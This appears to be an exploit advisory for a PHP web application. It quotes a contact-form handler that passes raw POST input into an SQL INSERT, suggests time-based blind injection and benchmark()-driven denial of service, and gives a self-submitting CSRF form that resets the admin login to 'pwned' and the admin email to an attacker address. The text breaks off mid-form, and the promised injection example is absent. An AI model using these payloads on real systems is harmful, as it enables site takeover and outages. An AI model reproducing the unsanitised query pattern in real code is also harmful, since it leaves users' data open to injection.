Here is one of Vulnerable Code example:

==============SNIP BEGINS===============
if($_POST['fullname']=='' || $_POST['subject']=='' || $_POST['message']=='' || $_POST['mail']=='')
$smarty->assign('error','Please complete the form!');
$c=$db->Execute("INSERT INTO contacts(fullname,subject,message,mail,ip,timehour) values('" . $_POST['fullname'] . "','" . $_POST['subject'] . "','" . $_POST['message'] . "','" . $_POST['mail'] . "','" . $_SERVER['REMOTE_ADDR']."','".date('r'). "')");
$smarty->assign('error','Unknown error occured.');

===========SNIP ENDS HERE================

===============Exploitation ===============

Here is how it looks:
(I prefer timebased way because simply extracting and then inserting hash to table is not usefull anymore.Only admin can see it from admin panel).


Also this type of sql injections(INSERT/UPDATE) is usefull to create Denial of Service conditions against target site/server.
If so simply benchmark() is your best friend.

Second Vulnerability is: CSRF

Simple exploit to change admin username/password/email:
Login/password will be change to pwned and email to : admin@toattacker.tld

<body onload="javascript:document.forms[0].submit()">
<form action="http://server/phpweb/admin/options.php?r=admin" method="post">
<input type="text" name="ADMIN_NAME" value="admin"/>
<input type="text" name="ADMIN_MAIL" value="admin@toattacker.tld"/>
<input type="text" name="usr" value="pwned"/>
<input type="password" name="pass1" value="pwned"/>
<input type="password" name="pass2" value="pwned"/>
<input type="hidden" name="oldusr" value="admin"/>
<input type="submit" value="Save" class="ss"/>
